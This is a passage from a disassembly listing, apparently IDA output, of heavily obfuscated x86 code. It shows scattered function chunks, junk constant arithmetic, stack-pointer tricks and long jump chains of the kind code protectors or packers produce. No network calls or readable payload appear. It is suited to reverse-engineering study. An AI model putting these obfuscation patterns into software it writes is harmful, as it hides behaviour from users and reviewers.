		jmp	loc_5ABC03
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
		mov	al, bl
		pop	esi


loc_5A27E4:				; CODE XREF: sdfs____:005A87DAj
		push	esi
		mov	esi, 1
		add	ecx, esi
		pop	esi
		shl	ecx, 8
		add	ecx, 1BB00E04h
		sub	edx, 92B036Eh
		add	edx, ecx
		jmp	loc_59D32B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_5A2803:				; CODE XREF: sub_5AB207-B6ADj
		pop	ecx
		pop	ecx
		jmp	loc_59CE05
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A280A:				; CODE XREF: sub_5AA2D1-6A98j
		or	esi, 110E1BBAh
		add	esi, 3EC65C16h
		ja	loc_5AB212
		xor	esi, 73E5BC15h
		mov	ebp, esi
		mov	edx, ebx
		mov	dh, 0F8h


loc_5A2828:				; CODE XREF: sdfs____:005AB943j
		dec	esi
		xor	esi, 20165A32h
		shl	esi, 7
		sub	esi, 58BD0F95h
		or	esi, 740F185Ch
		jmp	loc_5A64BE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5607


loc_5A2843:				; CODE XREF: sub_5A5607-794Cj
		add	edx, eax
		push	edi
		mov	edi, 6E424F50h
		add	edi, 0BD71D083h
		sub	edx, edi
		jmp	loc_5A2D2E
; END OF FUNCTION CHUNK	FOR sub_5A5607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A2858:				; CODE XREF: sub_59D6B8+10372j
		push	edi
		push	5BD12795h
		pop	edi
		and	edi, 3F165F51h
		jns	loc_5998E4
		inc	edi
		jmp	loc_5AE9D3
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
		sub	al, ch
		push	dword ptr [esp]
		mov	al, ah
; START	OF FUNCTION CHUNK FOR sub_5A405F


loc_5A2878:				; CODE XREF: sub_5A405F-AC57j
		pop	esi
		add	ebx, 7B127BE2h
		add	ebx, esi
		jmp	sub_5A18F6
; END OF FUNCTION CHUNK	FOR sub_5A405F
; ---------------------------------------------------------------------------


loc_5A2886:				; CODE XREF: sdfs____:005A6E4Cj
		pop	esi
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_59EFC7
; ---------------------------------------------------------------------------


loc_5A28A4:				; CODE XREF: sdfs____:005AD8F6j
		mov	[esp], edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5ABC1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A28BD:				; CODE XREF: sub_5A0FFF+5BF7j
					; sub_59EE3E:loc_5A8766j
		mov	dl, 3Ah
		mov	cl, dl
		pop	edx
		jmp	loc_5A0EE4
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A28C7:				; CODE XREF: sub_5AC803-2304j
		not	esi
		jmp	loc_5A4175
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A28CE:				; CODE XREF: sub_5A6BBC-7542j
		inc	bh
		jmp	loc_5AE754
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A28D5:				; CODE XREF: sub_5AA2D1-C21Aj
					; sub_5A2E41-38ACj ...
		mov	[esp-1Ch+arg_18], edx
		jmp	loc_59AD70
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A28DD:				; CODE XREF: sub_5A2E28-31ADj
		xchg	eax, ecx
		jmp	loc_5A293F
; END OF FUNCTION CHUNK	FOR sub_5A2E28

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A28E3	proc near		; CODE XREF: sub_5AA2D1-B5BEj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A4096 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AA7A9 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AFC57 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005B0436 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5B0436
sub_5A28E3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5A28F1:				; CODE XREF: sub_5996E4+603Cj
		pop	ecx
		jmp	loc_599D9C
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A28F7:				; CODE XREF: sub_5AF2D9-5774j
		xor	ebx, 394A7C89h
		add	ebx, 64F2793h
		mov	esi, ebx
		push	dword ptr [esp+0]
		jmp	loc_5AB73A
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A290D:				; CODE XREF: sub_59D6B8+175Dj
		push	[esp+4+var_4]
		jmp	loc_5AD535
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8E3E


loc_5A2915:				; CODE XREF: sub_5B01F7-1493Aj
					; sub_5A8E3E-31AFj
		not	edi
		jmp	loc_5AEDD2
; END OF FUNCTION CHUNK	FOR sub_5A8E3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A291C:				; CODE XREF: sub_5B01F7-797Cj
		push	6913h
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 16A42A5h
		xor	ecx, 0B6A6C20Eh
		sub	eax, ecx
		pop	ecx
		jmp	loc_59FF86
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A2937:				; CODE XREF: sub_5AD795-1265Cj
		shl	cl, 4
		jmp	loc_59E621
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A293F:				; CODE XREF: sub_5A2E28-54Aj
		dec	ecx
		jmp	loc_5A767E
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5A2945:				; CODE XREF: sub_5A3992-5A1Aj
		add	eax, 477312FEh
		jmp	loc_59F23A
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEC1C


loc_5A294F:				; CODE XREF: sub_5AEC1C-55B2j
		xor	ch, dh
		pop	edx
		jmp	loc_5A0522
; END OF FUNCTION CHUNK	FOR sub_5AEC1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A2957:				; CODE XREF: sub_59C979+11ECj
		sub	[esp-12h+arg_E], 58F1001Ah
		pop	ecx
		push	3DD8h
		jmp	loc_59CFF4
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2969:				; CODE XREF: sub_5AA2D1-A0DAj
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4DE77AEAh
		xor	ebp, 0FEB9559Bh
		add	ecx, 561223B7h
		push	ebp
		jmp	loc_5AF57D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5A2984:				; CODE XREF: sub_5A522E-AA4Cj
		sub	ebx, 9D67BFC9h
		add	eax, ebx
		jmp	loc_5AEE62
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2991:				; CODE XREF: sub_5AA2D1:loc_5B001Cj
		sub	ebp, 2E5A8366h
		add	eax, 68D32169h
		sub	eax, 0AB9050Dh
		push	edx
		mov	edx, 62BC46B1h
		inc	edx
		jmp	loc_5AFDE2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A29AD:				; CODE XREF: sub_59D6B8+E48Dj
		jmp	loc_5A0785
; ---------------------------------------------------------------------------


loc_5A29B2:				; CODE XREF: sub_59D6B8+7663j
		add	ecx, 4
		jmp	loc_5A6D68
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF3AA


loc_5A29BD:				; CODE XREF: sub_5AF3AA-10E42j
		not	ebx
		push	edx
		jmp	loc_5AF6F8
; END OF FUNCTION CHUNK	FOR sub_5AF3AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A29C5:				; CODE XREF: sub_59EE3E+C069j
		jnz	loc_5A23A6
		xor	esi, 98F45A2Dh
		xor	ebx, esi
		pop	esi
		push	esi
		xor	al, 86h
		pop	ebp
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A29D8:				; CODE XREF: sub_5ABE0D-26BAj
					; sub_5AA2D1+1086j
		push	2E632C8Ch
		mov	esi, [esp+10h+var_10]
		push	ebx
		jmp	loc_5A764C
; ---------------------------------------------------------------------------


loc_5A29E6:				; CODE XREF: sub_5AA2D1-D00Aj
		push	[esp-14h+arg_10]
		push	[esp-10h+arg_C]
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	small 531Dh
		jmp	loc_5AD0E3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A2A10:				; CODE XREF: sub_5A0AA2+BA59j
		jmp	loc_5A221A
; END OF FUNCTION CHUNK	FOR sub_5A0AA2

; =============== S U B	R O U T	I N E =======================================



sub_5A2A15	proc near		; CODE XREF: sub_59BB19+16j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599AA1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A607 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A4AEC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A6A5D SIZE 00000005 BYTES

		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp+8+var_8]
		jmp	loc_599AA1
sub_5A2A15	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A2A2E:				; CODE XREF: sub_5A79BE-96D1j
					; sub_5A5EFF:loc_59E61Cj
		neg	edi
		jbe	loc_5AA53A
		jmp	loc_5A998F
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
		mov	ebx, esp
		push	edx
		jmp	loc_5AE665
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A2A43:				; CODE XREF: sub_5A6BBC-AD7Dj
		mov	eax, [esp+8+var_8]
		jmp	loc_5ABCB5
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A2A4B:				; CODE XREF: sub_59F02F-49Dj
		add	eax, ebx
		jmp	loc_5AA547
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_5A2A52:				; CODE XREF: sub_59D4FD-F8Fj
		pop	esi
		add	edi, 21C271Eh
		push	esi
		mov	esi, 357B1DB2h
		add	edi, esi
		pop	esi
		neg	edi
		and	edi, 7DDB03CEh
		xor	edi, 22412243h
		xor	edx, edi
		pop	edi
		or	edx, 4CEF03D9h
		ja	loc_59B8C8
		and	edx, 4F797F8Eh
		mov	eax, ebp
		and	al, 85h
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A2A89:				; CODE XREF: sub_5992DA+D9EAj
		push	edx
		mov	edx, 57E477B8h
		jmp	loc_59D66A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2A94:				; CODE XREF: sub_5AA2D1+28E1j
		mov	[esp-1Ah+arg_14+2], ecx
		mov	ecx, 352F1962h
		mov	ebx, ecx
		push	[esp-1Ah+arg_14+2]
		pop	ecx
		add	esp, 4
		neg	ebx
		jp	loc_5A37C9
		jmp	loc_5A5520
; ---------------------------------------------------------------------------


loc_5A2AB2:				; CODE XREF: sub_5AA2D1+3E07j
		xor	bh, dl
		pop	edx
		and	bh, 0D5h
		push	dx
		push	ecx
		mov	cl, 49h
		mov	dh, cl
		pop	ecx
		sub	bh, dh
		jmp	loc_5A0B3A
; ---------------------------------------------------------------------------


loc_5A2AC7:				; CODE XREF: sub_5AA2D1-7F9Aj
		mov	esi, esp
		jmp	sub_5A3BFE
; ---------------------------------------------------------------------------


loc_5A2ACE:				; CODE XREF: sub_5AA2D1+13AFj
		shl	eax, 8
		push	edi
		mov	edi, 18C46D9Fh
		add	eax, edi
		pop	edi
		add	eax, 46C39ACEh
		add	ebx, eax
		pop	eax
		add	ebx, eax
		push	eax
		jmp	loc_5ADCA5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A2AEA:				; CODE XREF: sub_5A477C-6C7Dj
					; sub_59A9E9+69D1j
		pop	edx
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		mov	ebx, 0FFFFFFFFh
		add	esi, ebx
		pop	ebx
		jmp	loc_59DBC0
; END OF FUNCTION CHUNK	FOR sub_59A9E9

; =============== S U B	R O U T	I N E =======================================



sub_5A2AFE	proc near		; DATA XREF: sdfs____:00599000o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A21C0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A7AEB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A826D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AC932 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005AD8CC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005ADA05 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AF6B7 SIZE 0000000B BYTES

		mov	cx, [esp+0]
		jmp	loc_5AC932
sub_5A2AFE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5A2B07:				; CODE XREF: sub_5A913B-6E1Cj
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	6635h
		mov	[esp-16h+arg_12], eax
		jmp	loc_599D43
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A2B1A:				; CODE XREF: sub_5992DA+106D6j
		pop	esp
		add	esp, 4
		add	eax, 33B36084h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_5A3EB5
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2B3B:				; CODE XREF: sub_5AA2D1+852j
		push	0DBAh
		jmp	loc_59F14B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_5A2B45:				; CODE XREF: sub_5A0924-6580j
		pop	esi
		neg	eax
		dec	eax
		add	eax, 1
		jmp	loc_59A615
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5A2B53:				; CODE XREF: sub_599D0E+5655j
		not	cl
		add	cl, 0D3h
		jmp	loc_59E08E
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA52F


loc_5A2B5D:				; CODE XREF: sub_5AA52F-157Fj
		mov	dl, cl
		pop	ecx
		xor	dl, 70h
		sub	al, 16h
		push	dx
		mov	dh, 37h
		add	al, dh
		mov	dx, [esp+6+var_6]
		add	esp, 2
		add	al, dl
		push	ecx
		push	ebx
		jmp	loc_5AE0B4
; END OF FUNCTION CHUNK	FOR sub_5AA52F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A2B7B:				; CODE XREF: sub_5AD795+668j
		mov	eax, 3CA6B51h
		mov	ebp, 3574F724h
		add	ebp, 24100E61h
		add	ebp, eax
		push	ecx
		mov	ecx, 50632ED9h
		jmp	loc_5AAD49
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A2B98:				; CODE XREF: sub_59EE3E+76C6j
		pop	ebx
		mov	edx, [esp-4+arg_0]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59A6B6
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------


loc_5A2BAA:				; CODE XREF: sdfs____:005AA23Dj
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		jmp	loc_5AE80E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5A2BBC:				; CODE XREF: sub_5A913B-CC1Bj
		mov	esi, ecx
		mov	edi, esi
		pop	esi
		pop	ecx
		mov	ecx, 2C9B75E4h
		jmp	loc_5A5EC9
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABFD8


loc_5A2BCC:				; CODE XREF: sub_5ABFD8-FCB8j
		pop	esp
		mov	[esp+0], esi
		push	[esp+arg_0]
		push	[esp+4+var_4]
		pop	esi
		jmp	loc_59C46F
; END OF FUNCTION CHUNK	FOR sub_5ABFD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A2BDD:				; CODE XREF: sub_5A477C-B570j
					; sub_5A75B9-748Ej
		sub	ebx, 65213C2Eh
		mov	eax, [esp+0]
		add	esp, 4
		push	ebp
		mov	ebp, 0F7A270Fh
		jmp	loc_5ABE89
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A2BF7:				; CODE XREF: sub_59F02F+43EBj
		inc	edi
		or	edi, 4E895F4Fh
		or	edi, 34232EC6h
		inc	edi
		xor	edi, 70FF0974h
		add	edi, 0F0FF7690h
		add	ecx, edi
		pop	edi
		push	5463h
		jmp	loc_5A2D3F
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------


loc_5A2C1E:				; CODE XREF: sdfs____:005AF67Fj
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, 44671C1Eh
		not	ebx
		push	esi
		jmp	loc_5AFEC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA5F6


loc_5A2C47:				; CODE XREF: sub_5AA5F6-545Bj
		xor	al, 5Dh
		xor	bl, al
		pop	eax
		mov	cl, bl
		pop	ebx
		jmp	loc_599E63
; END OF FUNCTION CHUNK	FOR sub_5AA5F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8101


loc_5A2C54:				; CODE XREF: sub_5A8101+Cj
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		jmp	loc_5AD667
; END OF FUNCTION CHUNK	FOR sub_5A8101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_5A2C67:				; CODE XREF: sub_5B01F7-1434Bj
					; sub_5A21A4+17j
		pop	ebp
		jmp	loc_59AFCB
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A2C6D:				; CODE XREF: sub_5992DA+F29Fj
		shl	esi, 5
		dec	esi
		xor	esi, 7C65D4DEh
		and	eax, esi
		jmp	loc_59FB43
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD13


loc_5A2C7E:				; CODE XREF: sub_5ADD13-1491Cj
		pop	ebp
		push	edx
		mov	edx, 656B7F31h
		jmp	loc_59B0C2
; END OF FUNCTION CHUNK	FOR sub_5ADD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5A2C8A:				; CODE XREF: sub_5ABEF6-7E30j
		mov	ecx, 54323BB1h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5AEB63
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A2C97:				; CODE XREF: sub_5A477C-7F78j
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		push	ecx
		mov	ecx, 6C3609FDh
		jmp	loc_5AE507
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------


loc_5A2CB0:				; CODE XREF: sdfs____:0059DC48j
		mov	ebx, esp
		jmp	loc_59A038
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A2CB7:				; CODE XREF: sub_59D6B8+FFC4j
		push	esi
		mov	esi, 748F1676h
		dec	esi
		dec	esi
		sub	esi, 41A7DBDCh
		add	edi, esi
		pop	esi
		add	ebx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		add	ebx, 45A25DB3h
		pop	edx
		jmp	sub_5AF5FF
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2CDC:				; CODE XREF: sub_5AA2D1+4D48j
		push	esi
		push	[esp+18h+var_14]
		pop	esi
		pop	[esp+18h+var_1A+2]
		pop	esp
		push	ecx
		jmp	loc_59F179
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A633D


loc_5A2CEC:				; CODE XREF: sub_5A633D+8AC6j
		mov	ecx, 244C18FFh
		add	ecx, 209371C0h
		shl	ecx, 7
		jmp	loc_59B4B7
; END OF FUNCTION CHUNK	FOR sub_5A633D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A2CFF:				; CODE XREF: sub_59EE3E+18BDj
		mov	edi, ecx
		jmp	loc_5ACCC8
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A2D06:				; CODE XREF: sub_5A9D64:loc_5A0CA3j
		xor	ebp, 6825CAA5h
		push	ebp
		pop	edi
		pop	ebp
		mov	ebx, 5A32FED1h
		jmp	loc_59A0E1
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5A2D19:				; CODE XREF: sub_5A4E04-12CBj
		neg	esi
		jmp	loc_5A05A7
; END OF FUNCTION CHUNK	FOR sub_5A4E04

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A2D20	proc near		; CODE XREF: sub_5A4E04+1B8Dj
					; sub_59F02F+9575j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005A00C7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AABA9 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A00C7
sub_5A2D20	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5607


loc_5A2D2E:				; CODE XREF: sub_5A5607-2DB4j
		pop	edi
		jmp	loc_5A03D9
; END OF FUNCTION CHUNK	FOR sub_5A5607
; ---------------------------------------------------------------------------


loc_5A2D34:				; CODE XREF: sdfs____:005A6971j
		add	esi, 656B390Bh
		jmp	loc_59D3C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A2D3F:				; CODE XREF: sub_59F02F+3BEAj
		mov	[esp+10h+var_10], ebx
		mov	ebx, 4
		add	ecx, ebx
		push	[esp+10h+var_10]
		jmp	loc_5A85A0
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2D51:				; CODE XREF: sub_5AA2D1-9792j
		and	bh, 3Fh
		ja	loc_5A3FFE
		add	bh, 0D7h
		jo	loc_59C3EC
		jmp	loc_5A9EEA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5A2D68:				; CODE XREF: sub_5AD6D4-2D8Ej
		neg	edi
		sub	edi, 516308D1h
		shl	edi, 8
		sub	edi, 71EE256Fh
		sub	edi, 545071F6h
		xor	ebp, edi
		pop	edi
		xor	edi, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		push	esi
		jmp	loc_59E5CB
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A2D90:				; CODE XREF: sub_5AD795-1027Bj
		mov	bh, 0E2h
		add	bh, 0FFh
		push	ecx
		mov	cl, 24h
		jmp	loc_5AA683
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_5A2D9D:				; CODE XREF: sub_59D18A+BB00j
		add	edx, 4
		xchg	edx, [esp+18h+var_18]
		jmp	loc_5A40BB
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A2DAB:				; CODE XREF: sub_5AC803-3886j
		push	edi
		mov	edi, 5B00E4Eh
		dec	edi
		neg	edi
		add	edi, 2AAF2CC2h
		add	edx, 65A05929h
		add	edx, 50132987h
		sub	edx, edi
		sub	edx, 50132987h
		sub	edx, 65A05929h
		pop	edi
		sub	edx, 1
		add	edx, 749F7074h
		jmp	loc_59E1E4
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A2DE3:				; CODE XREF: sub_59C979+59B1j
		or	edx, 2B3715D3h
		add	edx, 0A843696Ah
		mov	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 58050768h
		not	ecx
		add	ecx, 0FFFFFFFFh
		not	ecx
		jmp	loc_59E9C8
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2E04:				; CODE XREF: sub_5AA2D1-936Cj
		sub	ebx, 0FACFB226h
		push	ebx
		dec	[esp+10h+var_10]
		jmp	loc_5A0AFE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A2E13:				; CODE XREF: sub_5992DA+EC6Dj
		mov	[esp+30h+var_32+2], ebp
		jmp	loc_5A77F3
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2E1B:				; CODE XREF: sub_5AA2D1-DB28j
		mov	bh, 1Eh
		add	bh, 39h
		xor	bh, 0
		jmp	loc_5AB322
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A2E28	proc near		; CODE XREF: sub_5A0278-1CB2j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0059914E SIZE 0000004F BYTES
; FUNCTION CHUNK AT 00599B66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599D4F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059A328 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059ABB6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059AC64 SIZE 00000010 BYTES
